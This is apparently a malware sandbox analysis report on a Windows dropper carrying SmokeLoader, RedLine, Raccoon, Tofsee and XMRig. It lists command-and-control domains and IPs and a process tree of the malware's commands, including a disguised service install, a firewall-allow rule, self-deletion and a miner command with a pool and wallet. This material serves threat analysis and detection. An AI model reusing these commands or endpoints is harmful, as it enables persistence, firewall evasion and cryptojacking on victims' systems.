Overview

overview

10

Static

static

45429bac42...40.exe

windows7_x64

10

45429bac42...40.exe

windows10_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    134s
  • platform
    windows7_x64
  • resource
    win7-en-20210920
  • submitted
    25/09/2021, 06:49

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    45429bac42f102d6b5a9fc45fdafb340.exe
  • Size 286KB
  • Sample210925-hlde3saefm
  • SHA256 133304b5052863dc2916413ac706f13189ac5a40698bdcbc30f2ed82dd99a1eb
  • MD5 SHA1 SHA512
Score
10/10
arkeiraccoonredlinesmokeloadertofseexmrig5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4700$qqvolbackdoordiscoveryevasioninfostealerminerpersistencespywarestealerthemidatrojan

Malware Config

Extracted

Family

  • smokeloader

Version

  • 2020

C2

  • http://naghenrietti1.top/

  • http://kimballiett2.top/

  • http://xadriettany3.top/

  • http://jebeccallis4.top/

  • http://nityanneron5.top/

  • http://umayaniela6.top/

  • http://lynettaram7.top/

  • http://sadineyalas8.top/

  • http://geenaldencia9.top/

  • http://aradysiusep10.top/

rc4.i32
rc4.i32

Extracted

Family

  • redline

Botnet

  • qq

C2

  • 135.181.142.223:30397

Extracted

Family

  • redline

C2

  • 178.132.3.103:80

Extracted

Family

  • redline

Botnet

  • 700$

C2

  • 65.21.231.57:60751

Extracted

Family

  • raccoon

Botnet

  • 5ff0ccb2bc00dc52d1ad09949e9c7663bc9ca4d4

Attributes
  • url4cnc

    https://t.me/agrybirdsgamerept

rc4.plain
rc4.plain

Extracted

Family

  • redline

Botnet

  • vol

C2

  • 92.222.145.232:61157

Signatures

  • Arkei

    Arkei is an infostealer written in C++.

    stealerarkei
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • RedLine

    RedLine Stealer is a malware family written in C#, first appearing in early 2020.

    infostealerredline
  • RedLine Payload 13 IoCs
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Arkei Stealer Payload 2 IoCs
    stealer
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 15 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 4 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 7 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 4 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 2 IoCs
    evasiontrojan
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 8 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 9 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
    evasion
  • Modifies data under HKEY_USERS 12 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 20 IoCs
  • Suspicious use of FindShellTrayWindow 6 IoCs
  • Suspicious use of SendNotifyMessage 6 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\45429bac42f102d6b5a9fc45fdafb340.exe
    "C:\Users\Admin\AppData\Local\Temp\45429bac42f102d6b5a9fc45fdafb340.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1596
    • C:\Users\Admin\AppData\Local\Temp\45429bac42f102d6b5a9fc45fdafb340.exe
      "C:\Users\Admin\AppData\Local\Temp\45429bac42f102d6b5a9fc45fdafb340.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:812
  • C:\Users\Admin\AppData\Local\Temp\FFD1.exe
    C:\Users\Admin\AppData\Local\Temp\FFD1.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\Users\Admin\AppData\Local\Temp\FFD1.exe
      C:\Users\Admin\AppData\Local\Temp\FFD1.exe
      2⤵
      • Executes dropped EXE
      • Checks SCSI registry key(s)
      • Suspicious behavior: MapViewOfSection
      PID:568
  • C:\Users\Admin\AppData\Local\Temp\2BF.exe
    C:\Users\Admin\AppData\Local\Temp\2BF.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:944
    • C:\Users\Admin\AppData\Local\Temp\2BF.exe
      C:\Users\Admin\AppData\Local\Temp\2BF.exe
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:596
  • C:\Users\Admin\AppData\Local\Temp\8D8.exe
    C:\Users\Admin\AppData\Local\Temp\8D8.exe
    1⤵
    • Executes dropped EXE
    • Checks BIOS information in registry
    • Checks whether UAC is enabled
    • Suspicious use of NtSetInformationThreadHideFromDebugger
    • Suspicious use of AdjustPrivilegeToken
    PID:584
  • C:\Users\Admin\AppData\Local\Temp\1151.exe
    C:\Users\Admin\AppData\Local\Temp\1151.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1044
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\mnaxbx\
      2⤵
        PID:632
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\widahggu.exe" C:\Windows\SysWOW64\mnaxbx\
        2⤵
          PID:1644
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create mnaxbx binPath= "C:\Windows\SysWOW64\mnaxbx\widahggu.exe /d\"C:\Users\Admin\AppData\Local\Temp\1151.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1256
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description mnaxbx "wifi internet conection"
            2⤵
              PID:108
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start mnaxbx
              2⤵
                PID:1636
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1708
              • C:\Users\Admin\AppData\Local\Temp\1789.exe
                C:\Users\Admin\AppData\Local\Temp\1789.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1536
              • C:\Users\Admin\AppData\Local\Temp\2659.exe
                C:\Users\Admin\AppData\Local\Temp\2659.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of AdjustPrivilegeToken
                PID:1912
              • C:\Users\Admin\AppData\Local\Temp\2A21.exe
                C:\Users\Admin\AppData\Local\Temp\2A21.exe
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1244
                • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                  "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                  2⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:1684
              • C:\Windows\SysWOW64\mnaxbx\widahggu.exe
                C:\Windows\SysWOW64\mnaxbx\widahggu.exe /d"C:\Users\Admin\AppData\Local\Temp\1151.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                PID:1908
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1620
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2852
              • C:\Users\Admin\AppData\Local\Temp\4189.exe
                C:\Users\Admin\AppData\Local\Temp\4189.exe
                1⤵
                • Executes dropped EXE
                PID:1972
              • C:\Users\Admin\AppData\Local\Temp\43FA.exe
                C:\Users\Admin\AppData\Local\Temp\43FA.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Checks processor information in registry
                PID:1856
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\Admin\AppData\Local\Temp\43FA.exe" & exit
                  2⤵
                    PID:2340
                    • C:\Windows\SysWOW64\timeout.exe
                      timeout /t 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:2376
                • C:\Users\Admin\AppData\Local\Temp\4BF6.exe
                  C:\Users\Admin\AppData\Local\Temp\4BF6.exe
                  1⤵
                  • Executes dropped EXE
                  • Suspicious use of SetThreadContext
                  PID:2104
                  • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
                    2⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:2528
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {B49C70BE-9FED-49C5-A48E-E92208F02C79} S-1-5-21-3456797065-1076791440-4146276586-1000:JZCKHXIN\Admin:Interactive:[1]
                  1⤵
                    PID:2608
                    • C:\Users\Admin\AppData\Roaming\gefvdcs
                      C:\Users\Admin\AppData\Roaming\gefvdcs
                      2⤵
                      • Executes dropped EXE
                      • Suspicious use of SetThreadContext
                      PID:2640
                      • C:\Users\Admin\AppData\Roaming\gefvdcs
                        C:\Users\Admin\AppData\Roaming\gefvdcs
                        3⤵
                        • Executes dropped EXE
                        • Checks SCSI registry key(s)
                        • Suspicious behavior: MapViewOfSection
                        PID:2736

                  Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        memory/584-80-0x0000000002DD0000-0x0000000002DD1000-memory.dmp
                        Download

                        memory/584-72-0x0000000000CB0000-0x0000000000CB1000-memory.dmp
                        Download

                        memory/596-86-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/596-83-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/596-88-0x0000000000EA0000-0x0000000000EA1000-memory.dmp
                        Download

                        memory/812-56-0x00000000757B1000-0x00000000757B3000-memory.dmp
                        Download

                        memory/812-54-0x0000000000400000-0x0000000000409000-memory.dmp
                        Download

                        memory/944-64-0x0000000001310000-0x0000000001311000-memory.dmp
                        Download

                        memory/944-69-0x0000000000A60000-0x0000000000A61000-memory.dmp
                        Download

                        memory/1044-99-0x00000000001B0000-0x00000000001C3000-memory.dmp
                        Download

                        memory/1044-100-0x0000000000400000-0x00000000004A9000-memory.dmp
                        Download

                        memory/1208-195-0x0000000004170000-0x0000000004186000-memory.dmp
                        Download

                        memory/1208-104-0x0000000003E20000-0x0000000003E36000-memory.dmp
                        Download

                        memory/1208-58-0x0000000002A90000-0x0000000002AA6000-memory.dmp
                        Download

                        memory/1244-120-0x0000000000210000-0x0000000000211000-memory.dmp
                        Download

                        memory/1244-119-0x0000000000420000-0x0000000000463000-memory.dmp
                        Download

                        memory/1244-112-0x0000000000B60000-0x0000000000BD4000-memory.dmp
                        Download

                        memory/1244-113-0x0000000000090000-0x0000000000091000-memory.dmp
                        Download

                        memory/1244-117-0x00000000755F0000-0x0000000075637000-memory.dmp
                        Download

                        memory/1536-95-0x0000000004E70000-0x0000000004E71000-memory.dmp
                        Download

                        memory/1536-93-0x0000000000920000-0x0000000000921000-memory.dmp
                        Download

                        memory/1596-57-0x0000000000020000-0x0000000000029000-memory.dmp
                        Download

                        memory/1620-131-0x00000000000D0000-0x00000000000E5000-memory.dmp
                        Download

                        memory/1684-145-0x0000000000530000-0x0000000000531000-memory.dmp
                        Download

                        memory/1684-142-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/1684-143-0x0000000000400000-0x0000000000401000-memory.dmp
                        Download

                        memory/1684-141-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/1684-134-0x0000000000400000-0x0000000000422000-memory.dmp
                        Download

                        memory/1908-139-0x0000000000400000-0x00000000004A9000-memory.dmp
                        Download

                        memory/1912-125-0x0000000000400000-0x00000000004BF000-memory.dmp
                        Download

                        memory/1912-129-0x0000000004754000-0x0000000004756000-memory.dmp
                        Download

                        memory/1912-123-0x0000000002060000-0x000000000207E000-memory.dmp
                        Download

                        memory/1912-122-0x0000000001EF0000-0x0000000001F0F000-memory.dmp
                        Download

                        memory/1912-124-0x00000000003C0000-0x00000000003F0000-memory.dmp
                        Download

                        memory/1912-128-0x0000000004753000-0x0000000004754000-memory.dmp
                        Download

                        memory/1912-127-0x0000000004752000-0x0000000004753000-memory.dmp
                        Download

                        memory/1912-126-0x0000000004751000-0x0000000004752000-memory.dmp
                        Download

                        memory/1972-167-0x0000000000400000-0x00000000004EC000-memory.dmp
                        Download

                        memory/1972-166-0x0000000000760000-0x00000000007F0000-memory.dmp
                        Download

                        memory/2104-157-0x0000000000230000-0x00000000002A2000-memory.dmp
                        Download

                        memory/2104-163-0x00000000755F0000-0x0000000075637000-memory.dmp
                        Download

                        memory/2104-156-0x0000000000130000-0x0000000000131000-memory.dmp
                        Download

                        memory/2104-155-0x00000000001B0000-0x00000000001F1000-memory.dmp
                        Download

                        memory/2528-170-0x0000000000090000-0x00000000000B2000-memory.dmp
                        Download

                        memory/2528-180-0x00000000005E0000-0x00000000005E1000-memory.dmp
                        Download

                        memory/2528-178-0x0000000000090000-0x0000000000091000-memory.dmp
                        Download

                        memory/2528-176-0x0000000000090000-0x00000000000B2000-memory.dmp
                        Download

                        memory/2528-177-0x0000000000090000-0x00000000000B2000-memory.dmp
                        Download

                        memory/2852-189-0x0000000000080000-0x0000000000171000-memory.dmp
                        Download